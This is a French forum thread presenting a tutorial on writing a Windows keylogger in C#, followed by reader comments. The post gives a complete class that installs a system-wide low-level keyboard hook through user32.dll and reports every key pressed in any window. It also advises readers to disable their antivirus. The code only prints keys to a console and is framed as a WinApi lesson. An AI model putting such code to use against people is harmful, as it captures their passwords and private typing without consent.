Annonce

Réduire
Aucune annonce.

[WinApi/C#] - Un keylogger simple (et non simpliste ! )

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel [WinApi/C#] - Un keylogger simple (et non simpliste ! )

    Bonjour,

    Je vous propose ici un "tutoriel" pour la programmation d'un keylogger pour les OS Microsoft (d'Xp à 8.1 d'après mes tests).

    J'ai utilisé Xamarin (Mono en gros) et Windows 8.1, sur une VM mais ça n'a pas vraiment d'importance.

    Le but va être de découvrir comment utiliser la WinApi (des fonctions que Windows propose aux programmeurs) en C# par le biais de la construction d'un keylogger qui aura pour principal but que récupérer les entrées saisies au clavier et de les afficher dans la console. Pas de perte de temps à écrire dans un fichier, envoyer par courriel ou autre, le tutoriel va se concentrer sur l'aspect WinApi plus qu'autre chose !
    Je vais rester très simpliste, le but n'étant pas de faire un papier technique et précis, mais une sorte d'introduction.

    Les concepts de programmation qui seront utilisés vont êtres globalement simples, mais là encore il faut de solides bases pour comprendre sans problème la couche d'abstraction qu'apporte la WinApi, et bien sûr on va faire une class donc un niveau correct en POO (qui est le minimum de nos jours...).

    Gardez la bible ouverte : https://msdn.microsoft.com/en-us/lib...=vs.85%29.aspx, je n'expliquerais pas en détail chaque fonction/étape, et un rappel du msdn est toujours appréciable.

    Autre petit point, désactivez votre anti-virus, avec nos gros sabots on sera certainement pas FUD, et c'est d'ailleurs pas le sujet du "tutoriel"...
    On commence par créer un projet console et une nouvelle class keylogger (on est très explicites oui) avec en import obligatoire :
    Code:
    using System.Runtime.InteropServices;
    Cela nous permet d'utiliser l'import de dll "natives".


    I - Que va-t-il falloir faire ?


    Question ma foi très importante...

    Le principe sera de "capturer" des saisies au clavier et de les afficher dans notre programme. Pour cela, on dois avoir accès au clavier au niveau de l'os et non seulement de notre application car il faut surtout capturer ce qu'il se passe dans les autres fenêtres que celle de notre programme.

    Comment faire cela ? On peux placer ce qu'on appel un "hook" qui va "écouter" la partie de l'OS qui gère les arrivées d’événements liées au clavier.
    Pour cela on va devoir importer la fonction SetWindowsHookEx qui se trouve dans la Dll "native" User32.dll.

    En C# on aura une chose de la sorte :

    Code:
    [DllImport("user32.dll")]
    static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
    Je n'invente pas les arguments,ils sont précisés ici : https://msdn.microsoft.com/en-us/lib...=vs.85%29.aspx.

    Vous aurez compris la syntaxe assez enfantine

    Quelles autres fonctions de la WinApi seront utiles ? UnhookWindowsHookEx et CallNextHookEx.
    Respectivement la première permet d'enlever le hook sur le clavier à la fin de notre programme, la seconde permet d'envoyer les événements aux autres applications (sinon seul notre programme reçois les saisies claviers !).

    Mes 2 autres appels donc :
    Code:
    [DllImport("user32.dll")]
    static extern bool UnhookWindowsHookEx(IntPtr hHook);
    
    [DllImport("user32.dll")]
    static extern int CallNextHookEx (IntPtr idHook, int nCode, int wParam, ref LowLevelKeyboardProcStruct lParam);
    On peux déjà voir une Struct "LowLevelKeyboardProcStruct".

    Là encore ça vient tout droit de msdn...recopié "bêtement", qui va nous donner ceci :

    Code:
    public struct LowLevelKeyboardProcStruct{
    	public int vkCode;
    	public int scanCode;
    	public int flags;
    	public int time;
    	public int dwExtraInfo;
    }
    Maintenant avant d'aller plus loin il faut définir un attribut à la classe, qui sera le pointeur que renverra SetWindowsHookEx (encore une fois, référence à msdn sur la valeur de retour...)
    Code:
    public IntPtr hhook = IntPtr.Zero;
    hhok pour handleHook tout simplement.

    C'est bien beau tout ceci, mais il va falloir créer une méthode pour lancer le hook !
    Pour initialiser un hook il faut appeler SetWindowsHookEx. Notre idHook sera 13 (Le clavier), notre callback une fonction que l'on va créer, hookProc pour ma part, un hInstance qui sera égal à IntPtr.zero, et le dernier à 0...Là encore c'est du copier/coller depuis msdn.

    Code:
    public void hook(){
    	hhook = SetWindowsHookEx (WH_KEYBOARD_LL, hookProc, IntPtr.Zero, 0);
    }
    public void unhook(){
    	UnhookWindowsHookEx (hhook);
    }
    J'ai déclaré WH_KEYBOARD_LL = 13 plutôt dans le code. Par la même occasion le simplissime unhook est présent

    Que manque-t'il ? Le traitement des données reçues bien sûr !

    On va simplement lever un event si la touche est pressée, et si elle est valide (code >=0 donc).

    Attention : Dans tous les cas je dois renvoyer CallNextHookEx sinon ça va "bloquer" le clavier !

    Code:
    public int hookProc(int code,int wParam, ref LowLevelKeyboardProcStruct lParam){
    	if (code >= 0) {
    		//Si un code est renvoyé, et valide...
    		Keys key = (Keys)lParam.vkCode; //Cast de la clef dans le type Keys, plus pratique à utiliser !
    		KeyEventArgs eventArgs = new KeyEventArgs(key);
    
    		if( wParam == WM_KEYDOWN && KeyDown!=null){
    			//Une touche est enfoncée
    			KeyDown (this, eventArgs);
    		}
    		}
    	}
    	//On permets aux prochains hooks d'autres app de s'executer...
    	return CallNextHookEx (hhook, code, wParam, ref lParam);
    }
    J'ai donc crée un event KeyDown au préalable....


    Et on a...fini

    Ma classe un peu améliorée / changée / etc...
    Code:
    /*
     * Par Int80h pour Hackademics
     * But purement éducatif, ne pas utiliser.
     */
    using System;
    using System.Collections.Generic;
    using System.Runtime.InteropServices;
    //Pour l'utilisation de l'enum Keys, on importe Forms. C'est plus pratique et moins moche dans le code.
    using System.Windows.Forms;
    
    namespace keylogger
    {
    	public class Keylogger
    	{
    		//Import des Dll natives importes : User32 pour les hook
    		[DllImport("user32.dll")]
    		static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
    
    		[DllImport("user32.dll")]
    		static extern bool UnhookWindowsHookEx(IntPtr hHook);
    
    		[DllImport("user32.dll")]
    		static extern int CallNextHookEx (IntPtr idHook, int nCode, int wParam, ref LowLevelKeyboardProcStruct lParam);
    
    		public delegate int LowLevelKeyboardProc(int code,int wParam,ref LowLevelKeyboardProcStruct lParam);
    
    		public struct LowLevelKeyboardProcStruct{
    			public int vkCode;
    			public int scanCode;
    			public int flags;
    			public int time;
    			public int dwExtraInfo;
    		}
    
    		const int WH_KEYBOARD_LL = 13;
    		const int WM_KEYDOWN = 0x100;
    
    
    		public List<Keys> HookedKeys = new List<Keys>();
    		public List<Keys> BannedKeys = new List<Keys>();
    
    		public IntPtr hhook = IntPtr.Zero;
    
    		public event KeyEventHandler KeyDown;
    
    		public Keylogger ()
    		{
    			hook ();
    		}
    		~Keylogger () //Mon destructeur
    		{
    			unhook();
    		}
    		public void hook(){
    			hhook = SetWindowsHookEx (WH_KEYBOARD_LL, hookProc, IntPtr.Zero, 0);
    		}
    		public void unhook(){
    			UnhookWindowsHookEx (hhook);
    		}
    
    		public int hookProc(int code,int wParam, ref LowLevelKeyboardProcStruct lParam){
    			if (code >= 0) {
    				//Si un code est renvoyé, et valide...
    				Keys key = (Keys)lParam.vkCode; //Cast de la clef dans le type Keys, plus pratique à utiliser !
    				if ( //On va prendre seulement les Keys voulues, et donc les autorisées ou toutes exceptées les bannies.
    					(HookedKeys.Contains (key) || HookedKeys.Count == 0) &&
    					(!BannedKeys.Contains(key) || BannedKeys.Count ==0))
    				{
    					KeyEventArgs eventArgs = new KeyEventArgs(key);
    					if( wParam == WM_KEYDOWN && KeyDown!=null){
    						//Une touche est enfoncée
    						KeyDown (this, eventArgs);
    					}
    				}
    			}
    			//On permets aux prochains hooks d'autres app de s'executer...
    			return CallNextHookEx (hhook, code, wParam, ref lParam);
    		}
    	}
    }
    Si vous êtes arrivés jusqu'ici, vous savez certainement utiliser une class, je mets donc pas de code sur son utilisation Globalement il faut rajouter l'event handler, et afficher dans la console la touche reçue, rien de bien sorcier...

    Le principe n'est pas de c/c mon/mes codes, mais de réussir à le refaire soit même si possible de "a à z".

    Avec ce code ci, vous avez 99% de chance que même le pire AV du monde vous détecte comme "méchant".
    En espérant que ça aura débloqué quelques "trucs" sur la WinApi en C#
    Dernière modification par int80h, 13 mars 2015, 17h49. Motif: Fautes orthographes/redondances/fautes de frappes/etc...

  • #2
    Hello,

    Merci et très bon tutoriel... Tellement bon que je pense inutile l'ajout du code C# et je dirais même préférable, car les codes créent des coupures dans la démarche.

    Autre chose, il serait intéressant d'expliquer pourquoi tel paramètre et pas un autre, quel différence entre l'un et l'autre (même si c'est dans la documentation, on ne connaît pas les conséquences d'un changement de paramètre à tous les coups).

    Il manquerait au tout départ du tutoriel, expliquer chaque fonction de la librairie utilisée et un petit topo algorithmique (pseudo code) sur les différentes étapes avant de récupérer le code ascii de la touche pressée.

    En tout et pour tout, je dis bravo, pour l'initiative, la démarche pédagogique et espère en voir encore beaucoup venant de ta part

    Bonne soirée

    Commentaire


    • #3
      Envoyé par fred Voir le message
      Hello,

      Merci et très bon tutoriel... Tellement bon que je pense inutile l'ajout du code C# et je dirais même préférable, car les codes créent des coupures dans la démarche.

      Autre chose, il serait intéressant d'expliquer pourquoi tel paramètre et pas un autre, quel différence entre l'un et l'autre (même si c'est dans la documentation, on ne connaît pas les conséquences d'un changement de paramètre à tous les coups).

      Il manquerait au tout départ du tutoriel, expliquer chaque fonction de la librairie utilisée et un petit topo algorithmique (pseudo code) sur les différentes étapes avant de récupérer le code ascii de la touche pressée.

      En tout et pour tout, je dis bravo, pour l'initiative, la démarche pédagogique et espère en voir encore beaucoup venant de ta part

      Bonne soirée

      Merci de ton retour,

      Pas de soucis, je vais mieux expliquer les fonctions et les paramètres dès que j'aurais un peu de temps alors
      Au niveau du code, oui je sais pas...personnellement j'aime bien avoir du code quand je "lis" un tutoriel donc j'ai pas vraiment pensé à ne pas en mettre, bien que je dois avouer que la partie "exécutive" du code n'est pas présente pour éviter le bête c/c du projet entier.

      Je pense rajouter des schémas pour expliquer le hook plus simplement, et ça permettrait de mettre en valeur la logique algorithmique en même temps !

      En tous cas merci des critiques, je vais travailler là dessus.

      Commentaire


      • #4
        Au niveau du code, oui je sais pas...personnellement j'aime bien avoir du code quand je "lis" un tutoriel donc j'ai pas vraiment pensé à ne pas en mettre, bien que je dois avouer que la partie "exécutive" du code n'est pas présente pour éviter le bête c/c du projet entier.
        Si je t'explique pourquoi... la winApi n'est pas seulement disponible pour le langage C#, Certains ne sauront pas lire le code, ça risque de les perturber dans leur démarche d'apprentissage. Il faut que la personne qui lit ce tutoriel soit capable de dire "je comprend le principe et l'adapte à mon langage de prédilection".

        Je pense rajouter des schémas pour expliquer le hook plus simplement, et ça permettrait de mettre en valeur la logique algorithmique en même temps !
        Très bien, super idée.

        Commentaire


        • #5
          Bonsoir,

          petit schéma pour bien comprendre comment fonctionne un hook :


          Ici la fonction est connect() mais il s'agit du nom de la fonction "hookée".

          Il serait aussi intéressant de montrer l'utilisation des flags (alt, ctrl...), ainsi que leur combinaison (repérer certaines combinaisons de touches, comme alt+f4 ou ctrl+alt+suppr par exemple).

          Autrement bon tutoriel

          Bonne soirée !
          Mon blog : http://rootsheep.info

          Commentaire

          Chargement...
          X